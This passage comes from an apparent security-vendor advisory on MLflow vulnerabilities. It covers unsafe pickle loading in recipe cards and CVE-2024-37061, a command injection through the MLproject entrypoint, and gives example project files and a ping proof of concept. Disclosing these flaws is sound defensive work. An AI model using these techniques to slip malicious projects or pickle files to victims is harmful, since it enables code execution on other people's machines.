        	<span class="token keyword">return</span> pickle<span class="token punctuation">.</span>load<span class="token punctuation">(</span>f<span class="token punctuation">)</span>

An attacker can exploit this by creating an MLProject Recipe containing a pickle file that will execute arbitrary code when deserialized, along with code that calls BaseCard.load(pickle.pkl), pointing to the file pickle.pkl as shown below. The attacker could share this project with a victim, and when they attempt to run it, the pickle file will be deserialized and the arbitrary code executed on their machine.

An example MLproject file:

name<span class="token punctuation">:</span> RecipeTestingProject

conda_env<span class="token punctuation">:</span> conda<span class="token punctuation">.</span>yaml

entry_points<span class="token punctuation">:</span>
	main<span class="token punctuation">:</span>
    		command<span class="token punctuation">:</span> <span class="token string">"python recipe_card_pickle.py"</span>

The snippet from recipe_card_pickle.py file that is responsible for calling the vulnerable function when the victim runs mlflow run. from within the recipe directory:

r <span class="token operator">=</span> Recipe<span class="token punctuation">(</span>profile<span class="token operator">=</span><span class="token string">"local"</span><span class="token punctuation">)</span>
r<span class="token punctuation">.</span>run<span class="token punctuation">(</span><span class="token string">"ingest"</span><span class="token punctuation">)</span>
BaseCard<span class="token punctuation">.</span>load<span class="token punctuation">(</span><span class="token string">"recipe_card.pkl"</span><span class="token punctuation">)</span>

Remote Code Execution on Local System via MLproject YAML File

CVE Number

CVE-2024-37061

Summary

A code injection vulnerability exists within the ML Project run procedure in the _run_entry_point function, within the projects/backend/local.py file. An attacker can package an MLflow Project where the MLproject main entrypoint command contains arbitrary code (or an operating system appropriate command), which will be executed on the victim machine when the project is run.

Products Impacted

This vulnerability was introduced in version 1.11.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-94: Improper Control of Generation of Code (‘Code Injection’).

Details

The vulnerability exists within the ML Project run procedure in the _run_entry_point function, within the projects/backend/local.py file.

<span class="token keyword">def</span> <span class="token function">_run_entry_point</span><span class="token punctuation">(</span>command<span class="token punctuation">,</span> work_dir<span class="token punctuation">,</span> experiment_id<span class="token punctuation">,</span> run_id<span class="token punctuation">)</span><span class="token punctuation">:</span>
	<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
	<span class="token keyword">if</span> os<span class="token punctuation">.</span>name <span class="token operator">!=</span> <span class="token string">"nt"</span><span class="token punctuation">:</span>
    		process <span class="token operator">=</span> subprocess<span class="token punctuation">.</span>Popen<span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string">"bash"</span><span class="token punctuation">,</span> <span class="token string">"-c"</span><span class="token punctuation">,</span> command<span class="token punctuation">]</span><span class="token punctuation">,</span> close_fds<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">,</span> cwd<span class="token operator">=</span>work_dir<span class="token punctuation">,</span> env<span class="token operator">=</span>env<span class="token punctuation">)</span>
	<span class="token keyword">else</span><span class="token punctuation">:</span>
    		process <span class="token operator">=</span> subprocess<span class="token punctuation">.</span>Popen<span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string">"cmd"</span><span class="token punctuation">,</span> <span class="token string">"/c"</span><span class="token punctuation">,</span> command<span class="token punctuation">]</span><span class="token punctuation">,</span> close_fds<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">,</span> cwd<span class="token operator">=</span>work_dir<span class="token punctuation">,</span> env<span class="token operator">=</span>env<span class="token punctuation">)</span>

An attacker can exploit this by creating an MLflow Project where the MLproject main entrypoint command contains arbitrary code (or an operating system appropriate command). The attacker could share this project with a victim, and when the victim runs mlflow run. from within the recipe directory, the code will be executed on the victim machine.

An example MLproject file:

name<span class="token punctuation">:</span> RecipeTestingProject

conda_env<span class="token punctuation">:</span> conda<span class="token punctuation">.</span>yaml

entry_points<span class="token punctuation">:</span>
	main<span class="token punctuation">:</span>
    		command<span class="token punctuation">:</span> <span class="token string">"python -c 'import os; os.system("ping -c 4 8.8.8.8")'"</span>

HiddenLayer, a Gartner recognized Cool Vendor for AI Security, is the leading provider of Security for AI. Its security platform helps enterprises safeguard the machine learning models behind their most important products. HiddenLayer is the only company to offer turnkey security for AI that does not add unnecessary complexity to models and does not require access to raw data and algorithms. Founded by a team with deep roots in security and ML, HiddenLayer aims to protect enterprise’s AI from inference, bypass, extraction attacks, and model theft. The company is backed by a group of strategic investors, including M12, Microsoft’s Venture Fund, Moore Strategic Ventures, Booz Allen Ventures, IBM Ventures, and Capital One Ventures.

Book a Demo

MLflow Vulnerability Report

Jun 04, 2024

Cloudpickle and Pickle Load on Sklearn Model Load Leading to Code Execution

CVE Number

Summary

Products Impacted

CVSS Score: 8.8

CWE Categorization

Details

Cloudpickle Load on PyFunc Model Load Leading to Code Execution

CVE Number

Summary

Products Impacted

CVSS Score: 8.8

CWE Categorization

Details

Pickle Load on Pmdarima Model Load Leading to Code Execution

CVE Number

Summary

Products Impacted

CVSS Score: 8.8

CWE Categorization

Details

Cloudpickle Load on LightGBM SciKit Learn Model Leading to Code Execution

CVE Number

Summary

Products Impacted

CVSS Score: 8.8

CWE Categorization

Details

Cloudpickle Load on TensorFlow Keras Model Leading to Code Execution

CVE Number

Summary

Products Impacted

CVSS Score: 8.8

CWE Categorization

Details

Cloudpickle Load on Langchain AgentExecutor Model Load Leading to Code Execution

CVE Number

Summary

Products Impacted

CVSS Score: 8.8

CWE Categorization

Details

Cloudpickle Load on PyTorch Model Load Leading to Code Execution

CVE Number

Summary

Products Impacted

CVSS Score: 8.8

CWE Categorization

Details

Pickle Load on Recipe Run Leading to Code Execution

CVE Number

Summary

Products Impacted

CVSS Score: 8.8

CWE Categorization

Details

Remote Code Execution on Local System via MLproject YAML File

CVE Number

Summary

Products Impacted

CVSS Score: 8.8

CWE Categorization

Details

MLflow
Vulnerability Report